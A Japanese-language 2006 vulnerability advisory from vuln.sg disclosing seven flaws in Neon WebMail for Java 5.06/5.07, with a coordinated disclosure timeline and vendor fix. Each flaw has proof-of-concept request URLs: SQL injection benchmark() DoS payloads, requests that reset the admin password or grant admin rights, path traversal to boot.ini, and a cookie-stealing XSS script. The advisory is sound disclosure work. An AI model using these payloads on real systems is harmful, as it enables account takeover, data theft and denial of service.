vuln.sg  

vuln.sg Vulnerability Research Advisory

Neon WebMail for Java 7つ脆弱性があります

by Tan Chew Keong タン チュー ケオン
Release Date: 2006-09-20

   [en] [jp]

概要

Neon WebMail for Java は、7つ脆弱性があります。悪意のあるユー ザは、この脆弱性を利用しサーバーに任意のJSPコードを実行されたり、他のユー ザのパスワードを盗難されたり、管理者権限を盗難されたり、サーバーから任意のファイルをダウンロードされたり、MySQLサーバーをDoS 攻撃などが行なわれる可能性があります。


問題を確認したバージョン

Neon WebMail for Java version 5.06 と 5.07 (build.200607050)


問題

この脆弱性報告は、Neon WebMail for Java に7つ脆弱性を公開しました。

1) サーバーに任意のJSPコードを実行ことができる

Neon WebMail は、"/neonwebmail/users/username/YYYYMMDD/" フォルダには、オリジナルファイル名でメールの添付ファイルを 保存されます。そのフォルダは、Tomcatサーバーのウェブディレクトリの中にあるので、JSP添付ファイルのコードを実行ことができます。

攻撃の例:


(a) 遠隔の第三者は、JSPコードを実行ことができる

悪意のある遠隔の第三者は、Neon WebMail ユーザにメールを送ります。そのメールは、JSP添付ファイルがある (例:file.jsp)。 Neon WebMail ユーザが、そのメールを見るとき、Neon WebMail は、"/neonwebmail/users/username/YYYYMMDD/" フォルダに JSP添付ファイルを 保存します。それは、遠隔の第三者がブラウザーでこの URLを使用、任意のJSPコードを実行ことができる。 "http://[host]:8080/neonwebmail/users/username/YYYYMMDD/file.jsp"

(b) 悪意のある Neon WebMail ユー ザは、JSPコードを実行ことができる

悪意のある Neon WebMail ユー ザは、自分にメールを送ります。そのメールは、JSP添付ファイルがある (例:file.jsp)。 Neon WebMail は、"/neonwebmail/users/username/YYYYMMDD/" フォルダに JSP添付ファイルを 保存します。それは、悪意のあるユーザがブラウザーでこの URLを使用、任意のJSPコードを実行ことができる。 "http://[host]:8080/neonwebmail/users/username/YYYYMMDD/file.jsp"

 

2) "updatemail" Servlet は、他のユーザのメールが、任意のメールフォルダへ移動ことができる

Neon WebMail の "updatemail" Servlet は、ユーザのメールを他のメールフォルダへ移動前に、useridをチェック しない。悪意のあるユーザは、この脆弱性を利用し他のユーザのメールを任意のメールフォルダへ移動ことができる。

例:


(a) Trash Folder (Folder ID = -9) へ Mail ID = 1 を移動します:

たとえば、 Mail ID = 1 は、他のユーザのメールです。

http://192.168.1.64:8080/neonwebmail/updatemail?ID=1&getpost=get&folderid=-1&tofolderid=-9&status=1&
execute=move

(b) Mail ID = 1 は、Trash Folder (Folder ID = -9) から (Folder ID = 100) まで移動します:

たとえば、 Mail ID = 1 は、他のユーザのメールです。

http://192.168.1.64:8080/neonwebmail/updatemail?ID=1&getpost=get&folderid=-9&tofolderid=100&status=1&
execute=move

NOTE: 犠牲者がフォルダ番号を知らないので、メールを見ることができません。

 

3) "addrlist" のServlet SQL インジェクションの脆弱性

Neon WebMail の "addrlist" Servlet は、"adr_sortkey" と "adr_sortkey_desc" パラメータ処理が不十分であるため、SQL インジェクションの脆弱性が存在します。"adr_sortkey" と "adr_sortkey_desc" パラメータは、"DB_ADDR_BOOK" の class に SELECT query で使われます。

この脆弱性は、MySQLサーバーをDoS 攻撃が行なわれる可能性があります。悪意のある SQL queryで MySQL が100% のCPU を使うことができます。

注意: この脆弱性を悪用前に、アドレス帳に1つアドレスエントリが必要です。


例:

http://192.168.1.64:8080/neonwebmail/addrlist?PAGE=1&sysid=0&adr_sortkey=rand(benchmark(1000000000000, sha1('123456781234567812345678')))&adr_sortkey_desc=

MySQLサーバーにこのqueryを実行するので、100% のCPU を使用になりました。

SELECT * FROM T_ADDR_BOOK WHERE ID = 'username' ORDER BY ID,rand(benchmark(1000000000000,sha1('123456781234567812345678'))),SYSID DESC

 

4) "maillist" のServlet SQL インジェクションの脆弱性

Neon WebMail の "maillist" Servlet は、"sortkey" と "sortkey_desc" パラメータ処理が不十分であるため、SQL インジェクションの脆弱性が存在します。"sortkey" と "sortkey_desc" パラメータは、"DB_MAIL_DATA" の class に SELECT query で使われます。

この脆弱性は、MySQLサーバーをDoS 攻撃が行なわれる可能性があります。悪意のある SQL queryで MySQL が100% のCPU を使うことができます。

注意: この脆弱性を悪用前に、受信トレイに1つメールが必要です。


例:

http://192.168.1.64:8080/neonwebmail/maillist?getpost=get&PAGE=1&folderid=-1&sysid=0&
sortkey=SENDER,rand(benchmark(1000000000000,sha1('123456781234567812345678')))
&sortkey_desc=&sendkind=&searchlist=

MySQLサーバーにこのqueryを実行するので、100% のCPU を使用になりました。

SELECT T.* FROM T_MAIL_DATA T WHERE T.ID = 'username' AND (T.ISTRASH = '0' OR T.ISTRASH IS NULL) AND T.FOLDERID = -1 ORDER BY T.ID,T.SENDER,rand(benchmark(1000000000000,sha1('123456781234567812345678'))) ,T.SYSID DESC ,T.GETPOST

 

5) "updateuser" のServlet 他のユーザの個人設定を改ざんことができる

Neon WebMail の "updateuser" Servlet は、ユーザの個人設定を変える前に、"in_id" パラメータをチェック しない。悪意のあるユーザは、この脆弱性を利用し他のユーザの個人設定を改ざんことができる。他のユーザのパスワードを変えたり、管理者権限を盗難した り、ユーザアカウントを削除ことができる。

たとえば、Normal ユーザログオンで、


(a) このリクエストで管理者のパスワードは、"hacked" に変えます。

http://192.168.1.64:8080/neonwebmail/updateuser?in_id=admin&in_pass=hacked&in_name=admin&
in_admin=1&in_showmailcount=10&in_usecss=1&in_autopoptime=5&in_replysign=&in_isquotation=1&
in_formwidth=50&exe=update

(b) "guest" ユーザは、管理者になることができる。

http://192.168.1.64:8080/neonwebmail/updateuser?in_id=guest&in_pass=guest&in_name=guest&in_admin=1&
in_showmailcount=20&in_usecss=1&in_autopoptime=5&in_poppop=1&in_replysign=&in_formwidth=80&exe=update

(c) Normal ユーザで管理者の個人設定を見ることができる。管理者のパスワードも。

http://192.168.1.64:8080/neonwebmail/updateuser?in_id=admin&exe=read

(d) Normal ユーザで管理者ユーザを新規登録ことができる。(ユーザID:super)

http://192.168.1.64:8080/neonwebmail/updateuser?in_id=super&in_pass=super&in_name=super&in_admin=1&
in_showmailcount=10&in_usecss=1&in_autopoptime=5&in_replysign=&in_isquotation=1&in_formwidth=50&
exe=insert

(e) Normal ユーザで他のユーザアカウントを削除ことができる。

http://192.168.1.64:8080/neonwebmail/updateuser?in_id=super&exe=delete

(f) Normal ユーザで管理者の名前の設定に Javascript を入力ことができる。

http://192.168.1.64:8080/neonwebmail/updateuser?in_id=admin&in_pass=hacked&
in_name=<script>alert(document.cookie);</script>&in_admin=1&in_showmailcount=10&
in_usecss=1&in_autopoptime=5&in_replysign=&in_isquotation=1&in_formwidth=50&exe=update

 

6) "downloadfile" のServlet 任意のファイルダウンロードの脆弱性

Neon WebMail の "downloadfile" Servlet は、添付ファイルファイルをダウンロード前に、"savefolder" と "savefilename" パラメータ処理が不十分で あるため、ディレクトリトラバーサルの脆弱性が存在します。 悪意のあるユーザは、この問題を利用しサーバーに他のファイルをダウンロード可能性があります。

http://192.168.1.64:8080/neonwebmail/downloadfile?filename=filename.ext&savefolder=[traversal]&
savefilename=[traversal]


例:

http://192.168.1.64:8080/neonwebmail/downloadfile?filename=filename.ext&
savefolder=anything&savefilename=/../../../../../../../../../boot.ini

http://192.168.1.64:8080/neonwebmail/downloadfile?filename=filename.ext&
savefolder=/../../../../../../../../../boot.ini&savefilename=

http://192.168.1.64:8080/neonwebmail/downloadfile?filename=filename.ext&
savefolder=/../../../../../../../../../&savefilename=boot.ini

 

7) ユーザの名前は、クロスサイトスクリプティング

悪意のあるユーザは、個人設定ページの名前の設定に Javascript を入力ことができる ("in_name" パラメータ)。管理者は、そのページを見て、ブラウザ上で任意のスクリプトを実行される可能性があります。また、Cookie 情報に含まれるセッション情報が漏洩した結果、セッション・ハイジャックが行われる可能性があります。


例:

a) Normal ユーザで 個人設定ページの名前の設定に <script>alert(document.cookie);</script>  を入力します。変更ボタンを押下します。
b) 後で、 管理者で個人設定ページを見て下さい。

 


対策

ベンダーによると、脆弱性は version 5.08 で修正したそうです。修正版のダウンロード


発見と報告の経緯

2006年07月04日 - 脆弱性の発見。
2006年07月12日 - ベンダに報告しました。
2006年07月13日 - ベンダーから答えを受け取りました。
2006年08月09日 - 再度メールでベンダーに報告しました。
2006年08月09日 - ベンダーによると、修正版は8月の末リリースします。
2006年09月01日 - 再度メールでベンダーに報告しました。
2006年09月05日 - 再度メールでベンダーに報告しました。
2006年09月17日 - ベンダーは修正版をリリースしました。
2006年09月20日 - 本脆弱性の公開。


Contact
For further enquries, comments, suggestions or bug reports, simply email them to